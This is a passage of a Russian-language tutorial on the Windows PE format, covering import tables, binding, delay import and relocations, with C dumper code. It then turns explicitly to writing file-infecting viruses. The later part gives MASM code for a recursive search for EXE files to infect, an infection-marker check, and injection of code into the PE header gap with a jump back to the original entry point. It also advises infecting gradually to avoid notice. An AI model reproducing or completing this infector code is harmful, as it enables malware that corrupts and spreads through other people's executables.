union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) };
Это поле содержит RVA массива двойных слов. Каждый элемент этого массива является объединением IMAGE_THUNK_DATA32 и соответствует функции PE-файла соответствующего элементу IMAGE_IMPORT_DESCRIPTOR. Это поле равно нулю, если это последний элемент в массиве элементов типа IMAGE_IMPORT_DESCRIPTOR. Это поле должно быть больше SizeOfHeaders и меньше либо равно SizeOfImage, иначе файл загружен не будет.
DWORD TimeDateStamp;
Временная отметка, когда был создан данный файл. От этого поля зависит, как загрузчик будет обрабатывать импорт данного файла. Если оно равно нулю, то загрузчик обрабатывает таблицу импорта как надо, т.е. используя стандартный механизм. Если она равна -1, то загрузчик не смотрит на массивы OriginalFirstThunk и FirstThunk, а полагает, что данная библиотека импортируется через Bound-импорт (о нем позже). Если TimeDateStamp обозначает временную метку, то если она равна временной метке импортируемой DLL, загрузчик просто проецирует ее на адресное пространство процесса, не настраивая таблицу адресов IAT. Если штамп времени есть, но он не совпадает с штампом DLL, то загрузчик настраивает таблицу как обычно. Т.о. предполагается, что адреса функций заданы во время компиляции, т.е. используется "биндинг- (подробнее об этом ниже).
DWORD ForwarderChain;
Это поле связано с передачей экспорта, описанного выше. Это поле содержит индекс в массиве FirstThunk. Функция указанная этим полем, будет послана в другую DLL. Загрузчик не проверяет это поле, так что оно может иметь любой значение.
DWORD Name;
Имя DLL, откуда импортируются функции.
DWORD FirstThunk;
RVA массива двойных слов. Каждый элемент массива типа IMAGE_THUNK_DATA32. Об этом типе далее.

В структуре IMAGE_IMPORT_DESCRIPTOR содержатся указатели на массивы элементов типа IMAGE_THUNK_DATA. Эти массивы называются таблицами адресов импорта (IAT - import address table). Вообще, т.к. массив OriginalFirstThunk не патчится загрузчиком, то только FirstThunk считается настоящей таблицей адресов импорта - IAT.

Теперь необходимо описать двойное слово IMAGE_THUNK_DATA. Он определена следующим образом:

typedef struct _IMAGE_THUNK_DATA32
{
        union {
                DWORD   ForwarderString;        // PBYTE
                DWORD   Function;               // PDWORD
                DWORD   Ordinal;
                DWORD   AddressOfData;          // PIMAGE_IMPORT_BY_NAME
        } u1;
} IMAGE_THUNK_DATA32;
 

Это двойное слово соответствует одной импортируемой функции. Это двойное слово отличается, если файл был загружен в память или была ли функция импортирована по имени или по номеру. Если функция импортируется по номеру (ординалу), старший бит двойного слова устанавливается в 1. Импорт по ординалу производиться очень редко. Мы должны убрать эту единицу в последнем разряде и использовать полученное значение как ординал.

Если происходит импорт по имени, то двойное слово содержит RVA структуры IMAGE_IMPORT_BY_NAME. Эта структура определена следующим образом:

typedef struct _IMAGE_IMPORT_BY_NAME {
        WORD    Hint;
        BYTE    Name[?];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
 
WORD Hint;
Укороченный идентификатор точки входа.
BYTE Name[?];
Название импортированной функции.

Стандартный механизм импорта

В таблице импорта вначале идет массив из элементов типа IMAGE_IMPORT_DESCRIPTOR. Каждый элемент соответствует одной DLL из которой импортируются функции. Самыми главными частями IMAGE_IMPORT_DESCRIPTOR являются имя DLL и два массива элементов типа IMAGE_THUNK_DATA32. В принципе они эквивалентны и идут параллельно. Но есть определенная логическая нагрузка на один и второй массивы. Конец массива IMAGE_THUNK_DATA32 определяется нулевым DWORD'ом. Первый массив - OriginalFirstThunk, остается неизменным при загрузке. Второй массив - FirstThunk правиться при запуске программы, загрузчиком. Вот он содержит адреса всех импортируемых функций. Вообще поле OriginalFirstThunk может быть любым и не используется загрузчиком. Для системных DLL массив OriginalFirstThunk сразу содержит адреса импортируемых функций. Т.е. для таких DLL, массив OriginalFirstThunk содержит не элемент IMAGE_THUNK_DATA32, а уже адрес для импортируемой функции данным модулем. Второй массив содержит, если функция импортируется по имени, RVA на структуру IMAGE_IMPORT_BY_NAME. Эта структура, содержит имя нужной функции. Сначала загрузчик просматривает массив IMAGE_IMPORT_DESCRIPTOR и проецирует в адресное пространство текущего процесса нужные модули, содержащие импортируемые функции. Далее загрузчик просматривает массив из IMAGE_THUNK_DATA32 и вызывает для каждого имени GetProcAddress. После вызова GetProcAddress возвращает адрес точки входа в функцию. Этот адрес записывается на место, где был RVA IMAGE_IMPORT_BY_NAME. Точно также происходит импорт по ординалу, только GetProcAddress передается не указатель на имя функции, а ординал. Если импортируется переданная функция, то в DWORD'е массива FirstThunk содержиться указатель на строку форвардной функции. Все эти действия ведутся с массивом имен FirstThunk. Массив OriginalFirstThunk остается прежним. Линкеры фирмы Borland делают массив OriginalFirstThunk нулевым, что можно считать ошибкой, но мы должны с ней считаться.

Пример работы с таблицей импорта

Посмотрите код, который выводит на экран всю таблицу импорта. Вы должны спроецировать PE-файл с помощью CreateFile->CreateFileMapping->MapViewOfFile. В hMap передайте значение возвращенное MapViewOfFile.

void printImportTable(long hMap)
{
        PIMAGE_NT_HEADERS               pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
        PIMAGE_IMPORT_DESCRIPTOR        Import=(PIMAGE_IMPORT_DESCRIPTOR)(RVAtoOffset((long)hMap,
                                        pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
                                        VirtualAddress)+(long)hMap);

        IMAGE_THUNK_DATA32*             Thunk;
        PIMAGE_IMPORT_BY_NAME           ImportName;
        int                             x=0;
        while (Import->Characteristics!=0)
        {
                x++;
                printf( "--------Library: %s-----------\n TimeDateStamp:%X\n"
                        "ForwardedChain:%X\n OriginalFirstThunk:%X\n
                        "
FirstThunk:%X\n",
                        RVAtoOffset((long)hMap,Import->Name)+(long)hMap,
                        Import->TimeDateStamp,
                        Import->ForwarderChain,
                        Import->OriginalFirstThunk,
                        Import->FirstThunk);

                Thunk=(IMAGE_THUNK_DATA32*)(RVAtoOffset((long)hMap,Import->OriginalFirstThunk)+(long)hMap);

                while (Thunk->u1.Ordinal!=0)
                {
                        if ( ( (Thunk->u1.Ordinal) & 0x80000000)!=0)
                        {
                                printf("
Ordinal: %X\n",(long)(IMAGE_THUNK_DATA32*)Thunk->u1.Ordinal);
                        }
                        else
                        {
                                ImportName=(PIMAGE_IMPORT_BY_NAME)(RVAtoOffset((long)hMap,(long)
                                (Thunk->u1.AddressOfData))+(long)(hMap));

                                printf("
NameOfFunction:%s\n",&(ImportName->Name));
                        }
                        Thunk++;
                }
                Import++;
        }
}

Биндинг

Компанией Microsoft была создана утилита, которая называется BIND. Ей на вход подается PE-файл, а она записывает в массив OriginalFirstThunk, таблицы импорта данного файла, адреса функций которые данный PE-файл использует. Такая операция называется биндингом (binding) и служит в целях оптимизации процесса загрузки исполняемого файла. Есть два вида биндинга - OLD STYLE BINDING и NEW STYLE BINDING.

Вначале об OLD STYLE BINDING. Адреса функций таблицы импорта уже известны до загрузки программы. Загрузчик файла смотрит на поле TimeDateStamp структуры IMAGE_IMPORT_DESCRIPTOR. Если это поле равно полю TimeDateStamp той DLL, из которой импортируются функции, то адреса импортированных функций не изменяются и загрузчик ничего не делает, т.к. правильные адреса уже находятся в модуле. Если поля TimeDateStamp в DLL и в таблице импорта не равны, то загрузчик патчит адреса импортированных функций с помощью стандартного механизма. Поле TimeDateStamp требуемой DLL может иметь значение 0, что происходит, если для данной функции не было биндинга. В этом случае загрузчик пропатчит все адреса импортируемых функций, для которых поле TimeDateStamp равно нулю. Если DLL была загружена не по своему предпочтительному адресу, то также происходит патч соответствующих адресов функций.

Если DLL экспортирует функцию, код которой находиться в другой DLL, т.е. при передаче экспорта, то используется поле ForwarderChain структуры IMAGE_IMPORT_DESCRIPTOR. Поле ForwarderChain содержит индекс в массиве FirstThunk первого импортируемого форварда. Если переданная функция - последняя, то это значение элемента соответствующего данному индексу равно -1. Если это не последний форвард в цепочке, то элемент содержит следующий индекс в этом же массиве. Т.о. происходит проход по цепочке переданных функций и заполнение адресами соответствующих двойных слов массива FirstThunk. Т.к. у нас есть параллельный массив - OriginalFirstThunk, то мы используем информацию из него об именах форвардных функций. Обратите внимание, то массив OriginalFirstThunk обязан быть не нулевым, чтобы использовать биндинг форвардных функций. Если утилите BIND передается PE-файл в котором нулевой массив OriginalFirstThunk, то она отказывается обрабатывать такой файл.

Теперь о NEW STYLE BINDING. Перед загрузкой файла в массиве элементов типа IMAGE_THUNK_DATA уже также содержатся адреса импортируемых функций. Изменится механизм импорта переданных функций. При NEW STYLE BINDING поля TimeDateStamp и ForwarderChain для DLL, из которых происходит экспорт форвардов, равны -1. Загрузчик ориентируется на эти значения -1, и использует директорию bound-импорта, где содержится информация о форвардных функциях.

Bound-импорт

Bound-импорт называют также - привязанный импорт. В массиве DataDirectory элемент с индексом 11 соответствует директории отложенного импорта. Отложенный импорт используется при NEW STYLE BINDING. Используя bound-импорт можно также оптимизировать процесс загрузки, т.к. есть возможность не пропатчивать, даже адреса, переданных функций. С этой директорией связан массив структур IMAGE_BOUND_IMPORT_DESCRIPTOR, каждая из которых определена следующим образом:

typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {
        DWORD   TimeDateStamp;
        WORD    OffsetModuleName;
        WORD    NumberOfModuleForwarderRefs;
        // Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
 
DWORD TimeDateStamp;
Временная метка. Она нужна для того, чтобы узнать не изменилась версия DLL, к которой привязаны адреса. Если это значение совпадает со значением временного штампа у библиотеки все отлично, т.е. не надо патчить переданные функции, иначе будет использоваться стандартный механизм импорта. Нулевое значение времени соответствует любому времени.
WORD OffsetModuleName;
Смещение имени DLL, начиная от начала данной директории. Именно смещение, а не RVA!
WORD NumberOfModuleForwarderRefs;
Счетчик - указатель количества структур типа IMAGE_BOUND_FORWARDER_REF, которые следуют после данной структуры. Строение их такое, как и у IMAGE_BOUND_IMPORT_DESCRIPTOR, только поле NumberOfModuleForwarderRefs зарезервировано.

Пример работы с Bound-импортом

void printBoundImport(long hMap)
{
        PIMAGE_NT_HEADERS               pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
        PIMAGE_BOUND_IMPORT_DESCRIPTOR  Bound=(PIMAGE_BOUND_IMPORT_DESCRIPTOR)(RVAtoOffset((long)hMap,
                                        pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].
                                        VirtualAddress)+(long)hMap);

        printf("DLL Name:%s TimeDateStamp:%X",(long)Bound+(long)(Bound->OffsetModuleName),Bound->TimeDateStamp);

        for (int i=0;i<Bound->NumberOfModuleForwarderRefs;i++)
        {
                Bound++;
                printf("DLL Name:%s TimeDateStamp:%X\n",(long)Bound+(long)(Bound->OffsetModuleName),Bound->TimeDateStamp);

        }
}
 

Delay-импорт

Delay-импорт, называется также, - отложенный импорт. Delay-импорт - это промежуточный подход между неявным импортом и явным импортом с помощью LoadLibrary/GetProcAddress. Механизм отложенного импорта - это не свойство операционной системы, это дополнительный код в Вашей программе, с помощью которого оптимизируется импорт API-функций. Этот дополнительный код называется - Delay Helper. Если Ваша программа запускает впервые API-функцию, то код Delay-импорта вызывает LoadLibrary и GetProcAddress. Адрес впервые вызванной функции будет сохранен в таблице импортированных функций отложенного импорта. На данные имеющие отношение к отложенному импорту указывает запись номер IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT в таблице директорий. RVA в DataDirectory указывает на массив структур ImgDelayDescr. Эта структура определена в заголовочном файле DELAYIMP.H. Вот ее вид:

typedef struct ImgDelayDescr {
        DWORD           grAttrs;        // attributes
        LPCSTR          szName;         // pointer to dll name
        HMODULE         * phmod;        // address of module handle
        PImgThunkData   pIAT;           // address of the IAT
        PCImgThunkData  pINT;           // address of the INT
        PCImgThunkData  pBoundIAT;      // address of the optional bound IAT
        PCImgThunkData  pUnloadIAT;     // address of optional copy of original IAT
        DWORD           dwTimeStamp;    // 0 if not bound,
                                        // O.W. date/time stamp of DLL bound to (Old BIND)
} ImgDelayDescr, * PImgDelayDescr;
 

Каждая структура соответствует одной DLL импортированной с помощью отложенного импорта. В данном массиве присутствует указатель на массив IAT, идентичный массиву, используемому в стандартном механизме импорта, а также массив таблицы импортируемых имен INT (Import Name Table). В IAT помещаются адреса при первом вызове соответствующей функции. Рассмотрим все поле структуры по порядку:

DWORD grAttrs;
Это поле указывает на тип адресации, применяющийся в структурах Delay-импорта. Если это поле равно 1, то адреса - RVA, если - 0, то VA.
LPCSTR szName;
Указатель RVA/VA на ASCIIZ-строку с именем загружаемой DLL.
HMODULE *phmod
В файле это поле может быть любым. Но при загрузке, лоадер помещает в него описатель DLL.
PImgThunkData pIAT;
RVA/VA-указатель на таблицу импортированных адресов (IAT). Если это значение равно нулю, то это последний элемент массива.
PCImgThunkData pINT;
RVA/VA-указатель на таблицу имен функций (INT). Если это значение равно нулю, то это последний элемент массива.
PCImgThunkData pBoundIAT;
RVA/VA-указатель на таблицу адресов функций Bound-импорта.
PCImgThunkData pUnloadIAT;
Когда DLL выгружается из памяти, то она имеет возможность восстановить таблицу адресов отложенного импорта в исходное состояние, обратившись к ее оригинальной копии. Указатель на оригинальную копию находиться в данном поле. Это аналог массива OriginalFirstThunk.
DWORD dwTimeStamp;
Временная метка. Возможно не проходить по всем функциям для данной библиотеки. Если временная метка не пуста и таблица Bound-импорта не пуста, то загрузчик не будет заполнять IAT, а воспользуется таблицей bound-IAT. В данном случае здесь таблица bound-импорта отдельная и она используется в поддержку delay-импорта.

Пример работы с Delay-импортом

Представляю Вашему вниманию, пример процедуры - дампера таблицы отложенного импорта:

void printDelayImport(long hMap)
{
        PIMAGE_NT_HEADERS       pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
        PImgDelayDescr          Delay=(PImgDelayDescr)(RVAtoOffset((long)hMap,
                                pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].
                                VirtualAddress)+(long)hMap);

        while (Delay->pIAT!=0)
        {
                if (Delay->grAttrs==1)
                {
                        printf("-------%s-------\n",
                                RVAtoOffset((long)hMap,(long)(Delay->szName))+(long)hMap);
                        printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table:"
                                " %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",
                                Delay->grAttrs,
                                Delay->dwTimeStamp,
                                Delay->pIAT,
                                Delay->pINT,
                                Delay->pBoundIAT,
                                Delay->pUnloadIAT);


                }
                else
                {
                        printf("-------%s-------\n",
                                RVAtoOffset((long)hMap,(long)(Delay->szName-pPE->OptionalHeader.ImageBase))
                                +(long)hMap);

                        printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table:"
                                " %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",
                                Delay->grAttrs,
                                Delay->dwTimeStamp,
                                Delay->pIAT,
                                Delay->pINT,
                                Delay->pBoundIAT,
                                Delay->pUnloadIAT);

                }
                Delay++;
        }
}
 

Особенности импорта на конкретных реализациях загрузчиков

В разных ОС импорт может быть реализован по-разному. Механизмов - целых 3! И загрузчик вправе выбирать, какой из них, и в каком порядке, в случае провала, будет использован. Загрузчик, например, может сразу просмотреть цепочку директорий и сразу перейти к bound-импорту. Если он валиден, то использовать его для импорта. Если он не корректный, то перейти к стандартному механизму импорта. Т.о., в зависимости от ОС, загрузчик в праве выбирать какой механизм импорта ему использовать. В любом случае Вы можете узнать, как происходит импорт, исследуя поведение загрузчика с помощью дизассемблирования. Но если мы хотим сделать переносимый вирус, то на эти особенности полагаться ни в коем случае нельзя.

Базовые поправки

Если PE-файл не загружается по ImageBase, то применяются базовые поправки. Для данной секции применим особый термин - дельта. Дельта - это разница по модулю между базовым адресом для PE-файла и значением ImageBase в опциональном заголовке. Если файл загрузился по базовому адресу, то базовые поправки не нужны. Чаще EXE файл грузится по своему базовому адресу, но DLL обычно - нет. Базовые поправки - это набор смещений, по которым нужно прибавить дельту. Для базовых поправок часто выделяется отдельная секция .reloc, но они также могут не иметь отдельной секции, а быть частью какой-либо секции. Поправки упаковываются сериями смежных кусков различной длины. Каждый кусок описывает поправки для одной четырехкилобайтовой страницы. Секция базовых поправок начинается с массива структур IMAGE_BASE_RELOCATION, которая выглядит следующим образом:

typedef struct _IMAGE_BASE_RELOCATION {
        DWORD   VirtualAddress;
        DWORD   SizeOfBlock;
        // WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
 
DWORD VirtualAddress;
Начальный RVA для данного куска поправок. Смещение каждой поправки, которая следует дальше, добавляется к данной величине для получения RVA, для которого должна быть применена поправка.
DWORD SizeOfBlock;
Размер данной поправки + все последующие поправки типа WORD. Можно определить количество поправок в данном блоке с помощью формулы

X = (SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))/2 (6)

WORD TypeOffset
Это не одно слово, а массив слов, количество элементов в котором вычисляется с помощью формулы (6). 12 младших разрядов каждого из этих слов представляют поправочное смещение, которое должно быть прибавлено к значению из поля VirtualAddress из данного блока поправок. 4 старших разряда - тип поправки. Для процессоров Intel для типа поправки есть единственное возможное значение - IMAGE_REL_BASED_HIGHLOW. При данном значении к двойному слову по вычисленному адресу смещения прибавляется дельта.

Пример работы с базовыми поправками

Процедура предполагает, что все поправки типа IMAGE_REL_BASED_HIGHLOW.

void printRelocTable(long hMap)
{
        PIMAGE_NT_HEADERS       pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
        PIMAGE_BASE_RELOCATION  Reloc=(PIMAGE_BASE_RELOCATION)(RVAtoOffset((long)hMap,
                                pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
                                VirtualAddress)+(long)hMap);

        while (Reloc->VirtualAddress!=0)
        {
                int number=(Reloc->SizeOfBlock-8)/2;
                WORD* Rel=(WORD *)((long)Reloc+8);
                printf("Virtual Address: %X\nNumber of Relocation:Relocation\n",Reloc->VirtualAddress);
                for (int i=0;i<number-1;i++)
                {

                        printf("%d:%X\n",i,(0x0FFF)&(Rel[i]));
                }
                Reloc=(PIMAGE_BASE_RELOCATION)((long)Reloc->SizeOfBlock+(long)Reloc);

        }
}
 

Программа PE Inside Console Version

В рамках данной главы я также выкладываю пример работы с PE-файлами консольной программы PE Inside. Просто посмотрите, как это работает и все. Все построено на функциях и макросах и не должно вызвать у Вас проблем. Исходный код находиться в архиве к статье.

Программа PE Inside v0.5alfa

Данная программа демонстрирует работу с PE-файлами. Она была сделана в рамках написания данной главы и имеет открытый исходный код, который Вы можете использовать в своих целях. При первом запуске программа добавляет себя в контекстное меню для PE-файлов, чтобы быстро просмотреть или отредактировать поля PE-файла. Скачать программу и ее исходник можно скачать в архиве прилагаемом к статье. Это только версия 0.5alfa и она мало чего умеет, но далее ее возможности будут расширяться.

PE64

PE64 - это расширение PE32 на случай 64-разрядной платформы. Не бойтесь, изменения между этими форматами минимальны, т.к. все что изменяется - это адреса в памяти. Поэтому все 32-разрядные поля превращаюся в 64-разрядные. В Си для адресации используется тип __int64. Но не забывайте, что в 32-х разрядных процессорах все регистры 32-разрядные по определению. Так что для работы с таким типом используются два регистра. Сами структуры в PE-файле остались прежними. Естественно изменились смещения. Все что Вам понадобиться для работы с этим форматом, так это спецификация Microsoft. А в теории Вы можете опираться на имеющиеся здесь выкладки.

Домашнее задание

Здесь я предлагаю оторваться от чтения и попробовать все прочтенное самому. Единственным способом понять все тонкости PE-формата - это трогать ручками все структуры. Попробуйте написать дамперы соответствующих структур. Откройте hex-редактор и найдите все структуры, попробуйте изменить чего-нибудь etc. Соберите все нужные структуры в один файл. Распечатайте этот документ и повесьте у себя рядом с кроватью. Это приблизит Вас к истинному пониманию структуры PE-файлов. Очень желательно знать все смещения соответствующих структур наизусть, дабы не отстать от Мыша ;)

Способы внедрения внутрь исполняемого файла

Вот мы и добрались до самого главного, т.е. к чему стремились. Все смещения структур PE-файла мы знаем наизусть, знаем как загрузчик работаем с PE-файлами, значит можно заражать файлы. Школьники ходят в школу, учатся, кушают в столовой. Студенты с папочками и с очочками занимаются, а мы пишем вирусы, а все остальное mustdie. Здесь будут рассмотрены более или менее стандартные способы и наиболее простые.

Мы отвлеклись. Вот стандартные действия Windows-вируса:

  1. Поиск файлов для заражения.
  2. Проверка, не заражен ли уже файл.
  3. Если нет, то заражаем.

Исходя из этих действий выдвигается новая тема. Итак...

Поиск файлов

Когда наш детеныш запускается, то он начинает поиск файлов и соответственно заражение. Обычно вирусы не заражают сразу все файлы, чтобы быть не замеченными. Сейчас мы напишем процедуру, которая ищет файлы. Если находиться директория, то для этого директории рекурсивно вызывается эта же процедура. Рекурсия - это очень интересная вещь в программировании. Мы еще будем обращаться к этому понятию. Т.к. мы программируем в 3 кольце защиты, то в этом кольце для поиска файлов используются три API-функции: FindFirstFile, FindNextFile, FindClose - соответственно начало поиска, продолжение поиска и завершение поиска. Эта процедура похожа на "Танго мастдайное-. Кому надо тот понял. Процедура требует два параметра. Процедура универсальна, сохраняет все регистры. В этом примере я не стал ее оптимизировать. Все что нужно об оптимизации Вы узнаете в соответствующей главе. Но процедура не до конца доделана. Точнее говоря, файлы она ищет все, но ничего не делает с ними. Вы должны добавить всего лишь, что делать с найденными файлами. Чтобы получить имя найденного файла используйте член структуры WIN32_FIND_DATA - cFileName. Чтобы получить путь для этого файла используйте локальную переменную Path. Она следующего вида: <Путь к файлу>0F3h,0F3h,0F3h,0. Где 0F3h и 0 - это байты. Чтобы получить нормальный путь к файлу надо убрать 3 0F3h байта и слить эту строку со строкой содержащей имя файла. В примере немного позже Вы увидите, как это делается. Я добавляю эти лишние байты, для того, чтобы для следующих папок в данной, путь формировался правильно. Эти байты играют роль маски в конце, которая потом удаляется.

;=================================================================
;Процедура FindEXE рекурсивного поиска файлов
;Вход: Dir - адрес ASCIIZ-строки с именем директории где производить поиск
;Mask2 -адрес ASCIIZ-строки "*.*",0
;=================================================================
FindEXE proc Dir:DWORD, Mask2:DWORD
        LOCAL   Find:WIN32_FIND_DATA
        LOCAL   hFile:DWORD
        LOCAL   Path[1000]:BYTE
        pushad
        ;Обработка переданного пути
        invoke  lstrlen,Dir;вычисляем длину переданного пути

        mov     esi,Dir
        lea     edi,Path
        mov     ecx,eax
        rep     movsb                           ;получаем в Path - путь для поиска

        lea     edi,Path
        add     edi,eax
        mov     esi,Mask2
        mov     ecx,5
        rep     movsb                           ;Path=Path+Mask+\0

        lea     ebx,Find
        lea     edi,Path
        invoke  FindFirstFile,edi,ebx           ;начало поиска
        .IF     eax!=INVALID_HANDLE_VALUE               ;если начало поиска удачно
                mov     hFile,eax
                invoke  FindNextFile,hFile,ADDR Find    ;продолжение поиска
                .WHILE  eax!=0                          ;если продолжение поиска удачно
                        mov     ebx,Find.dwFileAttributes
                        and     ebx,FILE_ATTRIBUTE_DIRECTORY
                        lea     ecx,Find.cFileName
                        .IF     (ebx==FILE_ATTRIBUTE_DIRECTORY) && (byte ptr [ecx]!='.')
                                lea     ebx,Path        ;Удаляем '\*.*'
                                push    ebx
                                push    ebx
                                call    lstrlen
                                pop     ebx
                                add     ebx,eax
                                sub     ebx,3
                                mov     edi,ebx
                                mov     eax,0
                                mov     ecx,3
                                cld
                                rep     stosb           ;удаляем маску
                                                        ;Добавляем имя директории к строке
                                lea     ebx,Path
                                push    ebx
                                call    lstrlen
                                add     ebx,eax
                                mov     edi,ebx

                                push    edi
                                lea     edx,Find.cFileName
                                push    edx
                                call    lstrlen
                                mov     ecx,eax
                                inc     ecx
                                pop     edi

                                lea     edx,Find.cFileName
                                mov     esi,edx
                                cld
                                rep     movsb
                                mov     byte ptr [edi],0
                                lea     ebx,Path
                                push    Mask2
                                push    ebx
                                call    FindEXE         ;рекурсивный вызов
                                std

                                lea     ebx,Path
                                push    ebx
                                call    lstrlen
                                add     ebx,eax
                                mov     edi,ebx

                                mov     ecx,10000
                                mov     al,'\'
                                repne   scasb
                                add     edi,2
                                mov     ecx,3
                                mov     eax,0f3h
                                cld
                                rep     stosb
                                mov     byte ptr [edi],0
                        .ELSE
                                ;Не EXE ли это
                                lea     ebx,Find.cFileName      ;не exe ли это?
                                push    ebx
                                push    ebx
                                call    lstrlen
                                pop     ebx
                                add     ebx,eax
                                sub     ebx,4
                                .IF (dword ptr [ebx]=='exe.')||(dword ptr [ebx]=='EXE.')
                                        ;EXE ФАЙЛ НАЙДЕН!!!
                                .ENDIF
                        .ENDIF
                        invoke  FindNextFile,hFile,ADDR Find    ;продолжение поиска
                .ENDW
        .ENDIF
        popad
        ret
FindEXE endp
;=================================================================
;Конец Процедуры FindEXE рекурсивного поиска файлов
;=================================================================
 

Проверка PE-файла на правильность

Как проверить, что PE-файл является вилидным я рассказывал в главе 1. Просто, используйте процедуру ValidPE, передавая ей правильные параметры.

Способ 1. Внедрение в заголовок

У нас в распоряжении есть исполняемый файл, мы должны заразить его. Давайте рассмотрим первый способ. Как Вы уже знаете, в начале PE-файла идtn PE-заголовок. Между окончанием таблицы секции и первой секцией есть промежуток. Этот промежуток появляется из-за файлового выравнивания выравнивания (значение FileAlignment в файловом заголовке). Туда мы можем впихнуть исполняемый вредоносный код. Плохо, что места мало, значит либо наш вирус будет очень маленьким или очень оптимизированным, либо в это место мы внедрим только часть вируса. Хорошо то, что размер файла не изменяется. Запись в данную область возможна, если изменить атрибуты соответствующих страниц. Рассмотрим алгоритм внедрения кода, используя запись в заголовок:

  1. Найти конец таблицы секций
  2. Найти физическое смещение 1 секции
  3. Вычислить максимальный размер кода, который можно внедрить
  4. Проверить bound-импорты. Если они присутствуют, то уничтожить запись о них в таблице директорий.
  5. Записать код.
  6. В конец кода установить jmp нормальную AddressOfEntryPoint
  7. Изменить AddressOfEntryPoint
  8. Изменить SizeOfHeaders на физическое смещение последней секции

Есть шаги, которые необходимо будет выполнять при любом способе заражения. Я опишу их в каждом разделе.

Получение важных частей отображения

При работе с PE-файлом мы будем постоянно обращаться к некоторым областям, важными для нас. Необходимо получить указатели на них, чтобы постоянно не вычислять эти значения. Нам будут нужны следующие значения: PE-заголовок, таблица секций, таблица директорий, файловый заголовок, опциональный заголовок. В этом примере кода, предполагается что в hMap находиться проекция EXE-файла-жертвы.

.data?
pPE             dd      ?
pSectionTable   dd      ?
pDataDirectory  dd      ?
pFileHeader     dd      ?
pOptionalHeader dd      ?
;.........
;Получение адреса PE-заголовка
        assume  edi:ptr IMAGE_DOS_HEADER
        mov     edi,hMap
        add     edi,[edi].e_lfanew
        mov     pPE,edi
        ;Получение адреса файлового заголовка
        add     edi,4
        mov     pFileHeader,edi
        ;Получение адреса опционального заголовка
        add     edi,sizeof IMAGE_FILE_HEADER
        mov     pOptionalHeader,edi
        ;Получение адреса таблицы директорий
        assume  edi:ptr IMAGE_OPTIONAL_HEADER
        lea     edi,[edi].DataDirectory
        mov     pDataDirectory,edi
        ;Получение адреса талицы секций
        mov     edi,pOptionalHeader
        mov     eax,[edi].NumberOfRvaAndSizes
        mov     edi,pDataDirectory
        mov     edx,sizeof IMAGE_DATA_DIRECTORY
        mul     edx
        add     edi,eax
        mov     pSectionTable,edi
 

Переход на старый AddressOfEntryPoint

Когда мы внедряем код, то мы изменяем точку входа на нашу. Чтобы управление вернулось программе необходимо прыгнуть на инструкции, с которых первоначально планировалось выполнение. Ниже приведен отрывок кода, который добавляет инструкции после внедренного кода для перехода на оригинальную точку входа. Предполагается, что в pOptionalHeader находиться указатель на опциональный заголовок. Так же предполагается, что в регистре EDI находиться место, куда мы хотим записать команды перехода. Проекция EXE файла создается не как SEC_IMAGE, а как обычная, потому что при SEC_IMAGE запись на диск не производиться :(, даже если мы изменяем атрибуты страниц с помощью VirtualProtect

        ;Переход на старую точку входа
        mov     esi,pOptionalHeader
        assume  esi:ptr IMAGE_OPTIONAL_HEADER
        mov     eax,[esi].AddressOfEntryPoint   ;В EAX - старая точка входа
        add     eax,[esi].ImageBase
        mov     byte ptr [edi],0BFh             ;BF - опкод команды mov edi,XXXXXXX
        inc     edi
        push    eax
        pop     dword ptr [edi]                 ;Джампим к старой точке входа
        add     edi,4
        mov     word ptr [edi],0E7FFh           ;FFE7 - опкод команды jmp edi
 

Код инфектора

Сначала мы получаем все важные части отображения. После проецирования файла проверяем корректен ли он. Если он корректен, то проверяем, не заражен ли он уже. Чтобы это проверить, надо знать некоторые отличительные особенности зараженности данного файла. При самом заражении в поле Win32VersionValue добавляются байты - 00BADF11Eh. Если в данном поле такие байты, то файл заражен. Посмотрите на пример:

        ;Не заражен ли уже файл?
        mov     edi,pOptionalHeader
        assume  edi:PTR IMAGE_OPTIONAL_HEADER
        .IF     [edi].Win32VersionValue==00BADF11Eh
                push    MB_ICONERROR
                push    offset TitleMes1
                push    offset Error2Str
                push    0
                call    MessageBox
                jmp     Exit
        .ENDIF
 

Для индикатора зараженности подойдет любое поле, которое не используется загрузчиком. Я описывал ранее, какие это поля. Если посмотреть внимательно на какой-нибудь PE-файл с Bound-импортом, то обычно Bound-импорт помещается как раз в это свободное пространство нужное нам. Bound-импорт - средство оптимизации загрузки. Но если его удалить, то файл будет все равно нормально загружаться.

Теперь надо найти начало свободного пространства в заголовке. Это пространство будет начинаться сразу после таблицы секций. Посмотрите на код и мои комментарии:

        ;Поиск конца таблицы секций+1
        mov     edi,pFileHeader
        assume  edi:ptr IMAGE_FILE_HEADER
        xor     eax,eax
        mov     ax,[edi].NumberOfSections
        mov     edx,sizeof IMAGE_SECTION_HEADER
        mul     edx                             ;теперь в eax - количество байт, которые занимают все секции
        mov     edi,pSectionTable
        add     edi,eax                         ;теперь в edi - начало промежутка
        push    edi                             ;сохраняем начало промежутка
 

